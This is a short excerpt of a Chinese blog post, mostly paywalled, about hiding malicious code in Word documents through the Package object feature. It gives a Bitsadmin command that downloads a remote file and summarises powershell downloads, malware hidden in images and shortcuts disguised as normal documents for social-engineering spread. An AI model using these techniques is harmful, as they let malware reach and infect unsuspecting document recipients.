这个思路要结合近期在一些安全网站上公布的姿势来实现，先科普几个地方。
（1）通过cmd本身就可以直接下载：
Bitsadmin /transfer AA /download /priority normal "http://..." "..."
其实讲道理也可以直接调用Bitsadmin.exe 和cmd没关系。问题是刚刚我测试一发，返现woc 360竟然报毒了？
本文介绍了如何通过Word的Package功能来实现类似宏病毒的隐藏恶意代码，包括利用cmd、powershell下载远程文件，图片藏毒技术，以及创建快捷方式插入Word的Package对象中，伪装成正常文档进行传播。该方法需要了解基本图片文件格式和利用社会工程学进行扩散。
最低0.47元/天 解锁文章
扫一扫
2142
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
